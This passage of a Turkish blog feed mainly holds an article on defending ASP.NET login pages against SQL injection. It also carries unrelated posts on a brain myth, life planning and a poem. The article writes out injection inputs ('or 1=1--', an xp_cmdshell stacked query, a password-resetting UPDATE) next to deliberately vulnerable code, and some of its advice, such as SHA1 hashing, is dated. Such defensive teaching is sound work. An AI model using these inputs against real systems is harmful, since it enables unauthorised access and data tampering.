<p>SQL Enjeksiyon saldirilari genelde &#8216;;, &#8211;,select, insert ve xp_&#8217; gibi karakterlerin-kelimelerin kullanilmasiyla yapildigi için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayifligi engelleyebilir.Örnegin kullanicidan E &#8211; Mail adresini girmesi isteniyorsa harfler ve sayilarin yaninda sadece &#8216; @,-,_,.&#8217; karakterlerinin kullanilmasina izin verilmelidir.</p>
<p>Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanli DLL ler, kullanici tarafli fonksiyonlar&#8230;vb, izole edilmis bir sunucuya tasinmalidir. Bazi zararli kelime-harfleri filteleyen ASP fonksiyonu asagida örneklenmistir;</p>
<p>Tirnak degistirme fonksiyonu ve filtreleme fonksiyonu beraber kullanilirsa;</p>
<p>select Username FROM Users WHERE Usename=&#8221;; EXEC master..xp_cmdshell &#8216;dir c&#8217;; &#8211;&#8217; AND Password=&#8221;</p>
<p>Seklindeki SQL Deyimi&#8230;</p>
<p>select Username FROM Users WHERE Usename=&#8221; EXEC master.. cmdshell &#8216;dir c:&#8217; &#8216; AND Password=&#8221;</p>
<p>e dönüsecektir ki bu da herhangi bir kayit bulumadigi hatasini vermekten öteye gitmeyecektir.</p>
<p>Bu fonksiyonu kullanicidan gelen bütün girdilere, adres satiri ifadelerine ve çerezlerden gelen tüm veriye uygulamamiz gelebilecek saldirinin önüne geçecektir.</p>
<p>3.4. Girdi Uzunlugunun Sinirlandirilmasi</p>
<p>Veritabanindaki ayrilan alanin uzunlugu 10 karakterlikse, formunuzda bu alan için 50 karakter sigan bir text kutusuna sahip olmaniz sakincali olabilir. Ve mümkün oldugu kadar girdi uzunluklarini kisa tutmak muhtemel saldiriyi engellemek için önlem sayilabilir.</p>
<p>3.5. Girdi Cinsinin Kontrol Edilmesi</p>
<p>Formunuzdan girilen verinin istediginiz türden bir veri olup olmadigini kontrol eden bir fonksiyon kötü amaçli kullanimlarda saldirganin kullanabilecegi harf/sayi seçenegini kisitlayacaktir. Mesela, eger Ürün ID si için formunuzdan girdi aliyorsaniz girdinin sayisal bir ifade olup olmadigini kontrol eden bir fonksiyon fayda saglayacaktir.</p>
<p>3.6. Girdi Cinsinin Kontrol Edilmesi</p>
<p>Formunuz araciligi ile topladiginiz verileri yollarken mutlaka &#8216;POST&#8217; metodunu kullanin ki kullanicilariniz adres çubugunda girdikleri verilerle beraber form degerlerini gördüklerinde akillarina farkli fikirler gelmesin.</p>
<p>4. Son Söz &#8211; &#8216;Herzaman bir adim önde!&#8217;</p>
<p>Aldiginiz güvenlik önlemleri veya (en iyi ihtimalle) yazip da kullanmayi bir aliskanlik haline getiremediginiz güvenlik politikalari sizi güvenlik problemlerine karsi koruyabilir mi? Eger güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almiyorsaniz hiçbir güvenlik ürünü, bir güvenlik kaybina ugramanizi engelleyemez.</p>
<p>Bilgi sistemleri altyapinizi tasidiklari güvenlik zaaflarina karsi düzenli olarak kontrol ettirmek, risklerinizi takip etmek, dogru teknolojiyi dogru yerde ve dogru sekilde kullanmanizi saglayacak güvenlik politikalarinizi olusturup güvenlik probleminizi sürekli yönetebilecek olgunluga ulasmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kismini olusturan uygulamalarin tasiyabilecegi güvenlik sorunlari uzun süredir ihmal edilmelerinden dolayi, günümüzün en popüler sistem sizma noktalarini teskil etmektedirler. Bu nedenle uygulama güvenligine iliskin gereken önemi vermeniz, güvenlik denetimi yaptirmaniz ve kurumunuzun bilgi güvenligi yönetim sistemini olusturmaya bir yerinden baslamanizi öneriyorum&#8230;</p>
<table border="0" cellpadding="0">
<tbody>
<tr>
<td><strong><strong>SQL Injection Ataklarından Nasıl Korunuruz?</strong></strong></p>
<p>Bu makalemizin konusu başlıktan da anlaşılacağı gibi, web uygulamalarımıza yapılan saldırılara karşı nasıl önlem almamız gerektiği. Aslında web uygulamamıza yapılabilecek bir çok saldırı metotları vardır. Bu makalede, bu saldırı çeşidinden biri olan Sql Injection (Sql Aşılama) ataklarına karşı savunma taktiklerini anlatacağım. Peki sql injection atakları nasıl yapılır?? Sql Injection atakları, web uygulamalarımızda yer alan veri girişleri için kullandığımız TextBox form elemanlarının içine yazılan bazı sql komut deyimlerinin yazılması ile olur.</p>
<p>Web uygulamalarımızın en zayıf bölümü kullanıcı girişlerinin yapıldığı ve sonucunda yetkilendirme yapıldığı bölümlerdir. Yani login sayfalarıdır. Web uygulamaları ile ilgilenen herkes mutlaka bir login sayfası yapmıştır. Temel olarak iki tane TextBox ve bir tane Button yer alır. Kullanıcı TextBox&#8217;lara gerekli verileri girdikten sonra Button&#8217;a tıklar ve Button&#8217;un OnClick olayı devreye girer. OnClick olayında ise veritabanına bağlantı gerçekleştirilir, gerekli sorgu komutu yazılır ve eğer TextBox&#8217;lara girilen veriler ile veritabanındaki tabloda yer alan herhangi bir kayıt eşleştiyse (veya en az bir kayıt döndürüyorsa) bu kullanıcı için web uygulamasına giriş başarılı olmuştur. Yani kullanıcının Authenticate işlemi gerçekleştirilmiştir. Aslında her şey düzgün çalıştığını zannederken kötü niyetli kişiler tarafından web uygulamalarınızın tehdit altında olduğunu farketmezsiniz. Bende web uygulamaları ile çalışmaya yeni başlarken eğer kod düzgün çalışıyorsa her şey bitmiş gibi düşünürdüm. Güvenlik kısmını herzaman arka plana atmıştım. Bazen makelelerimizde esas konuya yoğunlaşmak için bazı güvenlik ilkelerini ihlal ederiz. Fakat siz uygulamalarınızda güvenlikten asla ödün vermeyin.</p>
<p>Sizlere bu makalede kötü yazılmış bir kod ve iyi yazılmış bir kodun karşılaştırmasını yapacağım. Fakat en önce Sql Injection ataklarına karşı koymanız için gereken 5 temel savunma prensibini bilmeniz gerekir:</td>
</tr>
</tbody>
</table>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="47%"><strong><strong>Prensipler</strong></strong></td>
<td width="53%"><strong><strong>Neler Yapmalısınız?</strong></strong></td>
</tr>
<tr>
<td>Kullanıcı girdilerine asla güvenmeyin.</td>
<td>Tüm TextBox girişlerinin değerlerini Validator Kontrolleri, Regular Expressions veya kod ile kontrol edin.</td>
</tr>
<tr>
<td>Veritabanına asla admin düzeyinde bağlanmayın.</td>
<td>Veritabanına gerekli düzeyde kısıtlı erişim ile bağlanın.</td>
</tr>
<tr>
<td>Asla dinamik Sql sorguları kullanmayın.</td>
<td>Parametre göndererek veya Stored Procedure Kullanın.</td>
</tr>
<tr>
<td>Veritabanına verilerinizi asla açık şekilde yazmayın.</td>
<td>Verilerinizi şifreleme algoritması kullanarak veritabanına kaydedin.</td>
</tr>
<tr>
<td>Web uygulamalarınızda meydana gelebilecek istisnalarla(Exceptions) veya hatalarla ilgili bilgileri en düşük düzeyde kullanıcıya aktarın.</td>
<td>Web uygulamalarınızda meydana gelebilecek olası her hataya karşı özel bir hata sayfası hazırlayın.</td>
</tr>
</tbody>
</table>
<p>Şimdi sıra geldi web uygulamalarınızı nasıl yazmanız ve yazmamanız gerektiğine.<br />
login.aspx sayfamızda yer alan Button&#8217;un OnClick olayına şu şekilde kod yazılmış olduğunu farzedelim.</p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr height="326">
<td height="326" valign="top" bgcolor="#cccccc">private void Button1_Click(object sender, System.EventArgs e)<br />
{<br />
string strCnx = ConfigurationSettings.AppSettings["BadconnStr"];<br />
SqlConnection conn = new SqlConnection(strCnx);</p>
<p>conn.Open();<br />
SqlCommand cmd = new SqlCommand();<br />
cmd.Connection = conn;<br />
cmd.CommandText = &#8220;Select * From users Where username = &#8216;&#8221;+ txtusername.Text +&#8221;&#8216; AND password = &#8216;&#8221;+ txtpassword.Text +&#8221;&#8216; &#8220;;</p>
<p>SqlDataReader dr;<br />
dr = cmd.ExecuteReader();<br />
if(dr.Read())<br />
{<br />
FormsAuthentication.RedirectFromLoginPage(txtusername.Text,false);<br />
}<br />
else<br />
{<br />
ErrLabel.Text = &#8220;Başarısız İşlem&#8221;;<br />
}</td>
</tr>
</tbody>
</table>
<p>Eğer kullanıcı kendi kullanıcı adı ve şifresini girerse her şey normal şekilde sürer. Fakat eğer iyi yazılmamış bir login sayfasında aşağıdaki gibi bir ifade girilirse ne olur görelim.</p>
<p><strong><strong>&#8216;or 1=1&#8211;</strong></strong></p>
<p>şeklinde bir Sql ifadesi kullanıcı adının girileceği TextBox&#8217;a girilir ve şifre kısmına da rastgele bir değer girilirse, veritabanımızdaki tabloda böyle bir kullanıcı olmasa bile yetkilendirme işlemi başarılı olacaktır. Çünkü &#8216;or 1=1&#8211; ifadesinin TextBox&#8217;a girilmesi sonucu sorgu ifadesi şu şekle dönüşmüş olur.</p>
<p><strong><strong>Select * From users Where username = &#8216; &#8216;or 1=1&#8211;&#8217; AND password = &#8216;&#8221;+ txtpassword.Text +&#8221;&#8216; </strong></strong></p>
<p>Kullanıcı adını yazdığımız TextBox nesnesine girilen &#8216;or 1=1&#8211; ifadesinde yer alan &#8212; işaretlerinin anlamı; &#8212; işaretlerinden gelen sonraki ifadeleri yoksay olacaktır. Yani sonuç olarak ifademiz;</p>
<p><strong><strong>Select * From users Where username = &#8216; &#8216;or 1=1&#8211;</strong></strong></p>
<p>şekline dönüşecektir.Bu ifadede yer alan or 1=1 ifadesi sürekli doğru sonucu vereceğinden sonuç olarak sorgu işlemi bir kayıt döndürecektir. Bizim if döngümüzde yer alan dr.Read() ifadesi de true değerini alacağından if deyimi çalıştırılacak ve kullanıcı Authenticate işlemini başarı ile geçecektir.</p>
<p>Peki bu Sql Injection saldırısının çalışmasını sağlayan hatalar neydi? Kodumuzu satır satır inceleyelim.</p>
<p><strong><strong>string</strong></strong><strong><strong> strCnx = ConfigurationSettings.AppSettings["BadconnStr"]; </strong></strong><strong><br />
<strong><strong>SqlConnection conn = new SqlConnection(strCnx);</strong></strong></strong></p>
<p>bu ifadede BadconnStr değerini Web.config sayfamızdan almaktayız. Web.config sayfamızda yer alan ConnectionString ifademiz şu şekildedir.</p>
<p>Bu ConnectionString ifadesindeki hata veritabanına sa olarak bağlanmamızdır. Hiçbir zaman veritabanına sa kullanıcısı olarak bağlanmayın. Çünkü sa veritabanı üzerinde çok yüksek haklara sahiptir. Oysa bize gerekli olan sadece <strong><strong>SELECT</strong></strong> sorgusu.</p>
<p>Diğer bir hata ise sorgu işleminin dinamik olarak yapılması. Eğer bu şekilde dinamik olarak SQL sorguları yaratılırsa yukarıda girilen &#8216;or 1=1&#8211; ifadesinin girilmesi ile çok büyük güvenlik açıklarına neden olursunuz. Peki ne yapacağız. Yukarıda bahsettiğim prensiplere göre parametre olarak veri göndermeli veya Stored Procedure kullanmalıyız.</p>
<p>Aslında yukarıda TextBox&#8217;lara girilen değerleri de kontrol etmemiz gerekir. Yine aynı şekilde TextBox&#8217;ın MaxLength özelliğinin mutlaka kısıtlanması gerekir. Yani TextBox&#8217;lara sınırsız karakter girilmesini önlemeliyiz. TextBox&#8217;lara girilebilecek özel karakterleri de kontrol etmeliyiz. Yani &#8216; &#8221; &#8211; + # % &amp; gibi bir çok karakterlerin girilmemesini sağlamalıyız.</p>
<p>Sadece &#8216;or 1=1&#8211; ifadesinden farklı Sql Injection saldırıları da olabilir. Örneğin yine kullanıcı adını girdiğimiz TextBox nesnesinin içine,<br />
<strong><br />
</strong><strong><strong>&#8216;; UPDATE users SET password = &#8216;deneme&#8217; WHERE username = &#8216;mehmet&#8217; &#8212; </strong></strong></p>
<p>ifadesi de girilebilir. Peki bu Sql Injection ne gibi zararlara neden olur?</p>
<p>Bu ifade ile çoklu Sql deyimleri noktalı virgül yardımı ile aynı anda çalıştırılabilir. Bu ifade ile users tablosunda yer alan kullanıcı adı mehmet olan kişinin şifresini deneme olarak değiştiriyor. Eğer yukarıdaki gibi kötü yazılmış bir kod varsa bu işlem başarı ile gerçekleştiriliyor. Yine aynı şekilde buna benzer bir ifade ile, veritabanında yeni kullanıcılar yaratılabilr, bir tablo silinebilir, veya herhangi bir stored procedure yazılarak çok farklı işlemler gerçekleştirilebilir. Bunu önlemenin yolu veritabanına bağlantı yaptığımız ConnectionString&#8217;inde yer alan user&#8217;a sadece ve sadece gerekli izinler verilmelidir. Örneğin, burada user&#8217;ın sadece SELECT ifadesi için izin verilseydi hiç bir sorun olmayacaktı.</p>
<p>Şimdi daha güvenli login işleminin nasıl gerçekleşeceğini görelim.</p>
<p><strong><strong>Daha Güvenli Login Sayfamız</strong></strong></p>
<p>Öncelikle sayfamızın tasarım kısmının neye benzediğine bakalım. Daha iyi görebilmek için şeklin üzerine tıklayıp büyütebilirsiniz</p>
<p><a href="http://www.capraz.net/aspnetimages/Sqlinjection_1.gif" target="_blank"></a></p>
<p>LOGIN Butonuna tıkladığımızda çalışacak kodu görmeden önce Web.config dosyasında yer alan ConnectionString ifadesini görelim.</p>
<p>Button&#8217;umuzun OnClick olayında çalışacak kod ise şu şekildedir.</p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr height="537">
<td height="537" valign="top" bgcolor="#cccccc">private void Button1_Click(object sender, System.EventArgs e)<br />
{<br />
if(Page.IsValid)<br />
{<br />
string strCnx = ConfigurationSettings.AppSettings["BetterconnStr"];<br />
SqlConnection conn = new SqlConnection(strCnx);</p>
<p>conn.Open();<br />
SqlCommand cmd = new SqlCommand();<br />
cmd.Connection = conn;<br />
cmd.CommandType = CommandType.StoredProcedure;<br />
cmd.CommandText = &#8220;UserControl&#8221;;</p>
<p>SqlParameter prm;<br />
prm = new SqlParameter(&#8221;@username&#8221;,SqlDbType.NVarChar,50);<br />
prm.Direction = ParameterDirection.Input;<br />
prm.Value = FormsAuthentication.HashPasswordForStoringInConfigFile(txtusername.Text,&#8221;SHA1&#8243;);<br />
cmd.Parameters.Add(prm);</p>
<p>prm = new SqlParameter(&#8221;@password&#8221;,SqlDbType.NVarChar,50);<br />
prm.Direction = ParameterDirection.Input;<br />
prm.Value = FormsAuthentication.HashPasswordForStoringInConfigFile(txtpassword.Text,&#8221;SHA1&#8243;);<br />
cmd.Parameters.Add(prm);</p>
<p>SqlDataReader dr;<br />
dr = cmd.ExecuteReader();<br />
if (dr.Read())<br />
{<br />
FormsAuthentication.RedirectFromLoginPage(txtusername.Text, false);<br />
}<br />
else<br />
{<br />
ErrLabel.Text = &#8220;Başarısız İşlem&#8221;;<br />
}<br />
}<br />
}</td>
</tr>
</tbody>
</table>
<p>Yukarıda makalenin ilk başında bahsettiğim 5 temel prensibin hepsi bu login işleminde uygulandı. TextBox nesnelerine girilebilecek max karakter sayısının kısıtlanması ile çalışabileck Sql deyimleri girilemez. Aynı şekilde RegularExpressionValidator ifadeleri ile özel karakterlerin girilmesi önlenlenmiş oldu. Yine ConnectionString ifademizde benim yarattığım bir kullanıcı ile bağlanılıyor. Bu kullanıcıya sadece StoredProcedure&#8217;leri çalıştırılmasına izin veriliyor. Böylece başka herhangi bir sql komutunun çalışmasına olanak tanınmıyor. Çünkü veritabanına bağlanan kullanıcının yapabildikleri kısıtlanmıştır. SqlCommandType&#8217;in özelliği Stored Procedure olarak ayarlanmış ve böylece dinamik SQL ifadelerinin kullanılması engellenmiş olur. Stored Procedure&#8217;e aktarılan parametrelerde şifrelenerek veritabanında, şifrelenmiş olarak duran kayıtlarla karşılaştırlır.</p>
<p>Elbette web uygulamasının içerisinde, login sayfasından farklı sayfalarda yer alan TextBox nesneleri ile kötü niyetli kullanıcılar veritabanımıza dolayısıyla web uygulamamıza zarar verebilirler. Örneğin, herkesin bildiği site içerisinde arama yapabilmemizi sağlayan TextBox nesnelerine girilen değerlerde kontrol edilmelidir.</p>
<p>Bu makalenin içerisinde yer alan kodları daha iyi anlayabilmek için, makale içinde geçen bazı konuları (FormsAuthentication, Verileri Şifreleme, RegularExpressionValidator, Stored Procedure) yine aspnedir.com sitesinden okumanızı tavsiye ederim.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beyin Kapasitesinin % Kaçını Kullanıyoruz?</title>
		<link>http://www.tunahan.net/2010/01/27/beyin-kapasitesinin-kacini-kullaniyoruz/</link>
		<comments>http://www.tunahan.net/2010/01/27/beyin-kapasitesinin-kacini-kullaniyoruz/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:45:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Söz Konusu]]></category>
		<category><![CDATA[%]]></category>
		<category><![CDATA[beyin]]></category>
		<category><![CDATA[kaç]]></category>
		<category><![CDATA[kanser]]></category>
		<category><![CDATA[kapasite]]></category>
		<category><![CDATA[Kullanmak]]></category>
		<category><![CDATA[nöron]]></category>
		<category><![CDATA[Tubitak]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=131</guid>
		<description><![CDATA[Beynimiz yaklaşık 10-12 milyar arası nöron (sinir hücresi) içerir. Ancak bilindiği üzere beynimizin çok düşük bir yüzdesini kullanırız. Bunun nedeni aslında sinir hücrelerinin (yani bilgi depolayan nöronların) kendi kendilerini yenileyebilme özelliklerini yitirmiş olmalarıdır. Eğer sini hücresine sentrozom ya da sentrozomun görevini görebilecek enzim nakledilirse kendi kendilerini yenileyebilme özelliklerini kazanabilirler mi? Eğer bu mümkünse, beynimizin daha [...]]]></description>
			<content:encoded><![CDATA[<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><span style="font-family: 'Times New Roman', Times, serif; font-size: medium; font-style: normal;">Beynimiz yaklaşık 10-12 milyar arası nöron (sinir hücresi) içerir. Ancak bilindiği üzere beynimizin çok düşük bir yüzdesini kullanırız. Bunun nedeni aslında sinir hücrelerinin (yani bilgi depolayan nöronların) kendi kendilerini yenileyebilme özelliklerini yitirmiş olmalarıdır. Eğer sini hücresine sentrozom ya da sentrozomun görevini görebilecek enzim nakledilirse kendi kendilerini yenileyebilme özelliklerini kazanabilirler mi? Eğer bu mümkünse, beynimizin daha fazla bölümünü kullanabilir miyiz? (Cansın Kalın)</span><br />
<span id="more-152"> </span></p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><span style="font-family: 'Times New Roman', Times, serif; font-size: medium; font-style: normal;"><br />
</span></p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; text-decoration: none; margin: 0px;"><em>Beynimizin Yalnızca % 10’unu Kullandığımız Söylencesi</em><br />
Öncelikle sorunuzun başında belirttiğiniz varsayıma göz atalım isterseniz: “Beynimizin çok düşük bir yüzdesini kullanırız.” Yaklaşık bir asır önce ortaya atılan bu iddianın kaynağı bazı bilim insanlarının söylem ve bulgularının yanlış yorumlanıp çarpıtılmasına dayanıyor. Bugün, sinir bilim ve beyin görüntüleme tekniklerindeki gelişmeler öyle gösteriyor ki, beynimizdeki tüm sinirler çeşitli eylemler sırasında aktive oluyor. Daha açık bir deyişle, kullanmadığımız herhangi bir sinir ağı bulunmuyor. Konuyla ilgili bir başka yaklaşımsa sinir hücrelerinin herhangi bir uyarıcı almadıklarında dejenere olarak işlevselliklerini kaybediyor olma özellikleri. Örneğin, görsel sistem. Gelişmenin erken dönemlerinde göz sinirleri yeterli uyarıcıya maruz bırakılmadıklarında görme yetisi kayboluyor. Benzer şekilde, eğer ki beynimizde kullanılmayan sinir ağları bulunsaydı, işlevselliklerini kaybetmiş olmalarını beklememiz gerekirdi. Fizyolojik kanıtlar bir yana, iddia evrimle de uyuşmuyor. Aktif olmayan, hayatta kalma mücadelemize katılmayan sinir ağları içeren büyük bir beyin evrimsel gelişimle de bağdaşmıyor.</p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><strong style="color: #000000; font-size: 12px; line-height: 1px;">ANCAK</strong></p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;">Olgun haldeki sinir hücrelerinin (yani bilgi depolayan nöronların) kendi kendilerini yenileyebilme özelliklerini yitirmiş olmaları gibi bir durum söz konusu. Bu nedenle de, herhangi bir darbe ya da yaşlanma sonucu kaybedilen sinirler beyin kapasitesini doğal olarak olumsuz yönde etkiliyor.</p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><em>Beyindeki Sinir Hücreleri Gerçekten de Kendilerini Yenileme Yetisinden Yoksun mu?</em><br />
Beyindeki sinir hücrelerinin kendilerini yenileyebilme yetisinden yoksun olduklarını gösteren çalışmaların öncüsü 1960’larda yaptığı çalışmalarla ismini duyuran bir sinir bilimci: Dr. Pasko Rakic. Nitekim felç ya da diğer beyin zedelenmelerinde hastaların kaybettikleri konuşma ve yürüme gibi yetileri daha sonradan tekrar edinememeleri de bu bulguları destekler nitelikte. Ancak başlangıcı 1965 yılında sıçanlar üzerinde yapılan deneylere dayanan ve son yıllarda hız kazanan bir takım çalışmalar, beyindeki bazı bölgelerde sinir hücrelerinin yenilenebildiğini gösteriyor. Özellikle de belleksel işlevleri olan hippokampüs bölgesi ile makaklar üzerinde çalışılan üst düzey bilişsel işlemlerden sorumlu ve evrimsel gelişimde son sırada yer alan düşünme, koklama ve duyma ile ilişkili korteks bölgelerinin kök hücreler sayesinde sinirsel yönden yenilenebildikleri bulgular arasında. Ancak bilim insanları, bu çalışma sonuçlarının Alzheimer ya da Parkinson gibi sinir hücreleri kaybı içeren bir takım hastalıkların tedavisinde kullanılabilmesi için klinik ve uygulamaya yönelik daha çok çalışma yapılması gerektiğini söylüyorlar.</p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><em>Gelelim Sentrozomlarla Sinir Hücreleri Arasındaki İlişkiye…</em><br />
Sinir hücresinin başka bir hücre üretme olasılığının kalmadığı gelişim aşamasında sentrozoma rastlanmıyor. Her ne kadar bazı araştırmacılar, yaralanmaların olduğu birtakım yetişkin beyni bölgelerinde sentrozoma rastlamış olduklarını rapor etmişlerse de sonraki araştırmalar bu bulguları pek de kanıtlar nitelikte değil. Sinir hücreleri, gelişim dönemleri içerisinde özelleştikçe, çoğalma yetilerini de kaybediyorlar. Bölünme yetisinin yitiminin, meydana gelebilecek bölünmelerin, mevcut sinaps ağlarının da bozulmasına yol açabileceğinden evrilmiş olabileceği düşünülüyor.</p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><em>Sinir Hücrelerinde Sentrozom Görevi Görebilecek Bir Yapı Oluşturulursa, Kendilerini Yenileyebilme Özelliğini Edinebilirler mi?</em><br />
Eğer ki sinir hücrelerine böyle bir müdahalede bulunacak olursak, tekrar bölünebilme özelliği kazanacaklardır. Ancak uzmanlar, bu yöntemin tıp uygulamalarında niçin kullanılamayacağına dair iki önemli noktaya işaret ediyorlar:<br />
1.) Eğer ki, sentrozom yapısını kaybetmiş bir hücrede bu yapıyı tekrar oluşturursak, hücre kontrolsüzce çoğalmaya başlıyor. Tıpkı kanser hücreleri gibi. Bu nedenle de bu uygulama, tümör oluşumlarına yol açıyor.<br />
2.) Eğer ki, sentrozom yapısı yalnızca embriyonal dönemde korunan hücrelerde (örneğin, sinir hücreleri) bu yapı müdahale ile sürekli hale getirilirse, hücreler özelleşme durumu göstermiyorlar. Çünkü hücrelerdeki özelleşme, sentrozom yapısının kaybından sonra gerçekleşiyor.</p>
<p style="padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.8em; padding-left: 0px; color: #000000; font-size: 14px; line-height: 20px; margin: 0px;"><span style="text-decoration: underline;">Kaynak : Tübitak &#8211; İnci Ayhan</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/27/beyin-kapasitesinin-kacini-kullaniyoruz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programlı Hayat</title>
		<link>http://www.tunahan.net/2010/01/27/programli-hayat/</link>
		<comments>http://www.tunahan.net/2010/01/27/programli-hayat/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:42:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Söz Konusu]]></category>
		<category><![CDATA[başarı]]></category>
		<category><![CDATA[hayat]]></category>
		<category><![CDATA[hayatı]]></category>
		<category><![CDATA[programlamak]]></category>
		<category><![CDATA[programlı]]></category>
		<category><![CDATA[temel]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=128</guid>
		<description><![CDATA[Düzenli bir hayat sürdürebilmek,için hayatı programlamamız gerektiğini düşünüyorum.Hayat denilen bu büyük sınavdan iyi not alabilmek için,istediklerimizi yapabilmek için hayatımızı programlamalı ve hayattan ne beklediğimizi bilmeliyiz.Mutlu olabilmek için yaşadığımızı biliyoruz,fakat bu bizim için yeterli değildir.İnsan mutlu olmak için yaşadığını bilmenin dışında,mutlu olabilmek için neler yapması gerektiğinide bilmelidir. Düzenli olarak çalışmalı,spor yapmalı,oyun oynamalı ve başka aktivitelerde bulunmalıdır.
İnsan [...]]]></description>
			<content:encoded><![CDATA[<p>Düzenli bir hayat sürdürebilmek,için hayatı programlamamız gerektiğini düşünüyorum.Hayat denilen bu büyük sınavdan iyi not alabilmek için,istediklerimizi yapabilmek için hayatımızı programlamalı ve hayattan ne beklediğimizi bilmeliyiz.Mutlu olabilmek için yaşadığımızı biliyoruz,fakat bu bizim için yeterli değildir.İnsan mutlu olmak için yaşadığını bilmenin dışında,mutlu olabilmek için neler yapması gerektiğinide bilmelidir. Düzenli olarak çalışmalı,spor yapmalı,oyun oynamalı ve başka aktivitelerde bulunmalıdır.<br />
İnsan soyut-somut herşeyi sevmelidir.Çünkü sevmek inanmaktır,çünkü sevmek yaşamaktır….<br />
Her insan kendisine ilk önce ”Hayat Felsefem Nedir’’sorusunu sormalı,ve bu sorunun cevabını verdikten sonra bu felsefeyi uygulamaya çalışmalıdır.<br />
Kimileri okuyup bir öğretmen ya da bir mühendis olmayı seçmiştir,kimileri de okumayı bırakıp beceri ve deneyim gerektiren meslekleri seçmiştir.İşte bu mesleklerin seçimi yapılırken,<br />
insan kendine bir program oluşturmalı,çalışması gerektiğini hatırlamalı ve onu çalışmaktan alıkoyacak faktörlere karşı bir duruş sergilemelidir.Konunun özü şu ki ;<br />
İnsan haftanın bir gününde belirli bir saatte çalışmayı planlamışsa (ya da tv izlemeyi), o programa göre hareket etmelidir.İşte bu insan’a herzaman kazanç sağlayacak bir faktördür.<br />
Plansızlık dikkatsizliğe,motivasyon kazanamamaya yol açacaktır.<br />
Ayrıca burada değinilmesi gereken diğer bir konuda ”zaman kavramıdır”.Asıl planması gerekende<br />
zamandır.Tüm olaylar zaman içinde gerçekleşir.Belirli saatler arasında uyumalı ve belirli saatler arasında planlar yapılmalıdır.Konuya bilimsel olarak bakıcak olursak;<br />
Fizyologların önerilerine göre sabah saatleri çalışma saatleri için en uygun saatlerdir. Öğle vakti ise insan beynini dinlendirmelidir.Araştırmalar beyin dinlendirildikten sonra(uykudan<br />
sonra),güne yeni başlamış gibi bir durumun oluşacağını ortaya çıkarmıştır. Yazımı şu özlü sözlerle noktalamak istiyorum;<br />
Bir işte başarılı olmak için yapılacak ilk iş, hedef belirlemek; ikinci iş ise, belirlenen hedefe yönelik bir plan yapmaktır.<br />
Elden çıkınca kazanılmayan tek sermeye zamandır. Zaman iyi planlama ile genişler, içine o kadar şey sığar ki… İsraf edilince de olanca hızıyla akıp gider.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/27/programli-hayat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KOPARDIN &#8211; NURULLAH GENÇ</title>
		<link>http://www.tunahan.net/2010/01/10/kopardin-nurullah-genc/</link>
		<comments>http://www.tunahan.net/2010/01/10/kopardin-nurullah-genc/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 03:04:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Şiir Gezegeni]]></category>
		<category><![CDATA[beni]]></category>
		<category><![CDATA[Bir]]></category>
		<category><![CDATA[bıraktın]]></category>
		<category><![CDATA[çölüne]]></category>
		<category><![CDATA[genç]]></category>
		<category><![CDATA[hicran]]></category>
		<category><![CDATA[kopardın]]></category>
		<category><![CDATA[nurullah]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=126</guid>
		<description><![CDATA[Kopardın
Bir hicran çölüne bıraktın beni
Kalbine girdiğim yolu kopardın
Yaydın üzerime yalan gölgeni
Adını andığı dili kopardın
İçimden boşluğa savruldu külün
Hüznün ateşiyle yandı kakülün
Yıllardır ruhumda öten bülbülün
Her seher konduğu dalı kopardın
Uzattıkça sana boş ellerimi
Birer birer yıktın hayallerimi
Bilmem, ölü müyüm, yoksa diri mi
Saçımdan sn siyah teli kopardın
Gönlümde aşkınla hergün yeşeren
Göğü yıldız yıldız önüme seren
O güzel, bembeyaz gülü kopardın
Aynasında yalnız seni [...]]]></description>
